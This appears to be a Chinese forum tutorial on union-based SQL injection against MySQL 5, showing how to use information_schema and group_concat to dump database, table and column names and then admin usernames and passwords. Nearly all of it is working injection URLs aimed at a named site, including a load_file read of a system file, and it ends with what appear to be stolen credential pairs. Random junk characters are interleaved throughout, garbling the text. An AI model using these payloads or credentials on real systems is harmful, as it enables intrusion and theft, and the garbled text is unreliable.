此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似/ v& S; `4 a+ ]* V& }: e# x
但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人
$ T/ D4 Y2 s1 A% g9 m) E/ T* N+ r( Q
! k4 C! V. B5 T优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
h" I0 W8 i, @, g5 o( Q, z4 D% W5 [# D! n& E
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...; v: i- k+ a8 c( [1 U: U7 |( V
) S5 A3 I o5 v; h% G. J. ]下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
& B9 j% c; S ?% p8 k在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ , + 等等
( z; S! w6 {' x. y% S
% r& C0 \0 T1 A' G' I" r& Ehttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17; `2 P" `4 j p0 C, X4 L
6 b) v* [& w& K4 E2 D' j
读出所有库:
, m4 _* I X- Q s5 t3 Whttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA, K3 g' P# p4 M* ]" S$ X6 S7 t
# w$ z \5 B( X! \. ~2 L6 {2 T. ?0 R5 A9 D3 G# @
4 p" \6 w5 |! G读出所有表:$ Z) ] b3 e$ D# j7 s
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()! R$ {% h) Y% z
$ F& f) t: N. ^2 D) ~
读出所有表字段:, `+ {3 j/ }% E$ v' |+ ]. W
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
* c. U4 K% E9 O/ s# W*/ (97,100,109,105,110)为admin的ascii码 依次类推9 F: O; }! k" g4 I, X1 `$ i
6 P; y% e# `. Y3 A! i读出所有表字段里的内容:
8 k( r) N6 U) @+ @( ?# |2 X" xhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
% J9 q2 k1 k% k2 _ A
5 ]' ^! }+ ^+ p7 Z9 \# b" ^- A/ s) s1 Z5 O+ M; ~/ I
3 E% N" H9 A9 D' r K9 m, [# c9 \* B! ?, ~& X$ t
i9 f6 F: ]6 D* G8 ], k* Q4 d% g1 Q
1 H }* g) T7 vhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
0 q' W- E) d8 W0 I3 |
4 b6 G8 E& Z5 \8 ?4 @# M: j& m& d l: P' O( @8 e
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23* `. a; E+ a: P, g
/ V: i) E4 R' k& D: _, H! l' c% dhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
+ }$ r; g: \4 Q& n! M* t
; x, N4 V% Y2 _+ l/ y
1 k1 I4 n: T1 Q5 d- }+ ohttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23& H; b1 m& \8 \) q, ^; |: O/ ^; s
3 ^6 c6 h2 ]$ Z& c! m( p; G8 V0 T+ D6 }' N
webmaster:dzb521123,simlab:simadmin20043233. r( r7 Y# r' M8 Q
|